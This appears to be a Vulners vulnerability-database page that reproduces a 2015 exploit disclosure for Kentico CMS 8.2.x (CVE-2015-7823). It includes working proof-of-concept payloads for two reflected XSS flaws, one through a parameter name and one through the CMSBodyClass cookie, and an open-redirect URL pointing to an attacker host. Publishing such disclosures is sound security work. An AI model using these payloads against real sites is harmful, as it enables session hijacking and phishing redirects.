Vulners
Lucene search
Kentico CMS 8.2.x Multiple Vulnerabilities
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | Kentico CMS Open Redirect Vulnerability | 22 Oct 201500:00 | – | cnvd |
 | CVE-2015-7823 | 21 Oct 201515:00 | – | cve |
 | CVE-2015-7823 | 21 Oct 201515:00 | – | cvelist |
 | EUVD-2015-7721 | 3 Oct 202520:07 | – | euvd |
 | Kentico CMS < 8.2.42 Multiple Vulnerabilities | 7 Oct 202000:00 | – | nessus |
| Kentico CMS 8.2.x < 8.2.41 Open Redirect | 3 Apr 202000:00 | – | nessus |
 | Kentico CMS 8.2 - Open Redirect | 8 Jun 202604:09 | – | nuclei |
 | CVE-2015-7823 | 21 Oct 201515:59 | – | nvd |
 | Kentico CMS 8.2 Cross Site Scripting / Open Redirect | 15 Oct 201500:00 | – | packetstorm |
 | Open redirect | 21 Oct 201515:59 | – | prion |
10
Vulnerability type: Reflected XSS (High)
The elementguid variable is vulnerable to Reflected XSS. The parameter value encodes the special characters but the parameter name is not so I made the payload act as parameter name.
PoC:
http://172.16.16.136/Kentico82/CMSModules/AdminControls/Pages/UIPage.aspx?elementguid=43ea4f2b-554e-40f3-a602-90ef5e1e1d4f&"><img src%3Dx onerror%3Dalert(unescape(`%2540%254B%2549%254E%2547%2553%2541%2542%2552%2549`)) %3D>=w00t
Vulnerability type: Reflected XSS (Medium)
The CMSBodyClass cookie variable. Intercept with proxy then inject the payload "><script>alert('@KINGSABRI')</script>
PoC:
GET /Kentico82/?viewmode=livesite HTTP/1.1
Host: 172.16.16.136
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://172.16.16.136/Kentico82/Admin/CMSAdministration.aspx?username=administrator
Cookie: ASP.NET_SessionId=kobazkqekmwdeyhwtt4fcfed; CMSCookieLevel=1000; CMSPreferredUICulture=en-US; .ASPXFORMSAUTH=400E1E790B524F80A31B06187AFD143B3B3B24FC4D745185CFAA314B433F3417485CD352543B86B88D21DC322D724F8613F60EF6174C08826D9B3043DB8671EAFB9C146A5AF645EF65DB9ABB4BA9BD117698715E4D888C9C4F8060C9A3DFB5D6; CMSPreferredCulture=en-US; CMSBodyClass=SSSS"><script>alert('@KINGSABRI')</script>SSSS
Vulnerability type: Open Redirect (Low)
The GetDocLink.ashx with link variable is vulnerable to open redirect vulnerability
PoC:
http://172.16.16.136/Kentico82/CMSPages/GetDocLink.ashx?link=http://attacker.zone
# 0day.today [2018-04-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Oct 2015 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.1267